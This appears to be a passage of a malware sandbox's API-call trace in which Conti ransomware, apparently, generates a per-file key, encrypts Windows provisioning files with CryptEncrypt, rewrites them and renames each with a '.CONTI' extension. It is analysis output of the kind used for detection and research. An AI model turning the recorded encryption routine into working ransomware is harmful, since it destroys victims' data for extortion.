	[0108.471] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\14__connections_cellular_optus (australia)_i5$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\14__connections_cellular_optus (australia)_i5$(__mvid)@wap.provxml.conti")) returned 1
	[0108.580] GetProcessHeap () returned 0x1720000
	[0108.580] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0108.581] CryptDestroyKey (hKey=0x17c7ff0) returned 1
	[0108.581] GetProcessHeap () returned 0x1720000
	[0108.581] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17ca1f8 | out: hHeap=0x1720000) returned 1
	[0108.581] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0108.965] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x65159a0 | out: phKey=0x65159a0*=0x17c81b0) returned 1
	[0108.965] CryptExportKey (in: hKey=0x17c81b0, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x65159a4, pdwDataLen=0x50ff91c | out: pbData=0x65159a4*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0108.966] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\208__Connections_Cellular_Cellcom (Israel)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\208__connections_cellular_cellcom (israel)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.164] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\208__Connections_Cellular_Cellcom (Israel)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\208__connections_cellular_cellcom (israel)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0110.164] GetLastError () returned 0x0
	[0110.164] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=714) returned 1
	[0110.164] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2ca
	[0110.164] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.164] SetEndOfFile (hFile=0x37c) returned 1
	[0110.435] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.435] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.435] WriteFile (in: hFile=0x37c, lpBuffer=0x65159a4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x65159a4*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0110.449] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.449] ReadFile (in: hFile=0x37c, lpBuffer=0xee90000, nNumberOfBytesToRead=0x2ca, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x2ca, lpOverlapped=0x0) returned 1
	[0110.449] CryptEncrypt (in: hKey=0x17c81b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x2ca, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x2d0) returned 1
	[0110.449] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.449] WriteFile (in: hFile=0x37c, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x2d0, lpOverlapped=0x0) returned 1
	[0110.449] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.449] WriteFile (in: hFile=0x37c, lpBuffer=0x6515998*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x6515998*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0110.450] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.450] CloseHandle (hObject=0x37c) returned 1
	[0110.450] GetProcessHeap () returned 0x1720000
	[0110.450] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0110.979] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\208__Connections_Cellular_Cellcom (Israel)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\208__Connections_Cellular_Cellcom (Israel)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\208__Connections_Cellular_Cellcom (Israel)_i0$(__MVID)@WAP.provxml"
	[0110.979] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\208__Connections_Cellular_Cellcom (Israel)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\208__Connections_Cellular_Cellcom (Israel)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\208__Connections_Cellular_Cellcom (Israel)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.979] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\208__Connections_Cellular_Cellcom (Israel)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\208__connections_cellular_cellcom (israel)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\208__Connections_Cellular_Cellcom (Israel)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\208__connections_cellular_cellcom (israel)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.980] GetProcessHeap () returned 0x1720000
	[0110.980] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0110.980] CryptDestroyKey (hKey=0x17c81b0) returned 1
	[0110.980] GetProcessHeap () returned 0x1720000
	[0110.980] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65894d8 | out: hHeap=0x1720000) returned 1
	[0110.980] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0110.980] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x6571a88 | out: phKey=0x6571a88*=0x17c7ef0) returned 1
	[0110.980] CryptExportKey (in: hKey=0x17c7ef0, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x6571a8c, pdwDataLen=0x50ff91c | out: pbData=0x6571a8c*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0110.981] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\384__Connections_Cellular_Singtel (Singapore)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\384__connections_cellular_singtel (singapore)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.981] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\384__Connections_Cellular_Singtel (Singapore)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\384__connections_cellular_singtel (singapore)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0110.981] GetLastError () returned 0x0
	[0110.981] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=712) returned 1
	[0110.981] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c8
	[0110.981] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.981] SetEndOfFile (hFile=0x39c) returned 1
	[0110.982] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.982] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.982] WriteFile (in: hFile=0x39c, lpBuffer=0x6571a8c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x6571a8c*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0111.315] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.315] ReadFile (in: hFile=0x39c, lpBuffer=0xee90000, nNumberOfBytesToRead=0x2c8, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x2c8, lpOverlapped=0x0) returned 1
	[0111.315] CryptEncrypt (in: hKey=0x17c7ef0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x2c8, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x2d0) returned 1
	[0111.315] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.315] WriteFile (in: hFile=0x39c, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x2d0, lpOverlapped=0x0) returned 1
	[0111.315] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.315] WriteFile (in: hFile=0x39c, lpBuffer=0x6571a80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x6571a80*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0111.315] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.315] CloseHandle (hObject=0x39c) returned 1
	[0111.361] GetProcessHeap () returned 0x1720000
	[0111.361] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.235] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\384__Connections_Cellular_Singtel (Singapore)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\384__Connections_Cellular_Singtel (Singapore)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\384__Connections_Cellular_Singtel (Singapore)_i0$(__MVID)@WAP.provxml"
	[0112.235] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\384__Connections_Cellular_Singtel (Singapore)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\384__Connections_Cellular_Singtel (Singapore)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\384__Connections_Cellular_Singtel (Singapore)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.235] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\384__Connections_Cellular_Singtel (Singapore)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\384__connections_cellular_singtel (singapore)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\384__Connections_Cellular_Singtel (Singapore)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\384__connections_cellular_singtel (singapore)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.236] GetProcessHeap () returned 0x1720000
	[0112.236] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.236] CryptDestroyKey (hKey=0x17c7ef0) returned 1
	[0112.236] GetProcessHeap () returned 0x1720000
	[0112.236] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6589c88 | out: hHeap=0x1720000) returned 1
	[0112.236] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0112.236] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x1814780 | out: phKey=0x1814780*=0x17c8330) returned 1
	[0112.236] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x1814784, pdwDataLen=0x50ff91c | out: pbData=0x1814784*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0112.237] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\509__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\509__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0112.237] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\509__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\509__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc
	[0112.238] GetLastError () returned 0x0
	[0112.238] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=475) returned 1
	[0112.238] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1db
	[0112.238] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.238] SetEndOfFile (hFile=0x3fc) returned 1
	[0112.243] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.243] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.243] WriteFile (in: hFile=0x3fc, lpBuffer=0x1814784*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x1814784*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0112.249] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.249] ReadFile (in: hFile=0x3fc, lpBuffer=0xee90000, nNumberOfBytesToRead=0x1db, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x1db, lpOverlapped=0x0) returned 1
	[0112.249] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x1db, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x1e0) returned 1
	[0112.249] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.249] WriteFile (in: hFile=0x3fc, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x1e0, lpOverlapped=0x0) returned 1
	[0112.249] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.249] WriteFile (in: hFile=0x3fc, lpBuffer=0x1814778*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x1814778*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0112.249] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.249] CloseHandle (hObject=0x3fc) returned 1
	[0112.250] GetProcessHeap () returned 0x1720000
	[0112.250] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.250] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\509__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\509__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\509__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0112.250] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\509__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\509__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\509__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0112.250] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\509__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\509__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\509__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\509__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0112.250] GetProcessHeap () returned 0x1720000
	[0112.250] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.250] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0112.250] GetProcessHeap () returned 0x1720000
	[0112.250] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1819230 | out: hHeap=0x1720000) returned 1
	[0112.250] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0112.251] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x18149c8 | out: phKey=0x18149c8*=0x17c8330) returned 1
	[0112.251] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x18149cc, pdwDataLen=0x50ff91c | out: pbData=0x18149cc*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0112.251] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\511__Cellular_PerSimSettings_$(__ICCID)_SIMBlockList.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\511__cellular_persimsettings_$(__iccid)_simblocklist.provxml")) returned 0x20
	[0112.251] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\511__Cellular_PerSimSettings_$(__ICCID)_SIMBlockList.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\511__cellular_persimsettings_$(__iccid)_simblocklist.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc
	[0112.252] GetLastError () returned 0x0
	[0112.252] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=451) returned 1
	[0112.252] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1c3
	[0112.252] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.252] SetEndOfFile (hFile=0x3fc) returned 1
	[0112.257] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.257] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.257] WriteFile (in: hFile=0x3fc, lpBuffer=0x18149cc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x18149cc*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0112.263] SetFilePointer (in: hFile=0x3fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.263] ReadFile (in: hFile=0x3fc, lpBuffer=0xee90000, nNumberOfBytesToRead=0x1c3, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x1c3, lpOverlapped=0x0) returned 1
	[0112.263] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x1c3, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x1d0) returned 1
	[0112.263] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
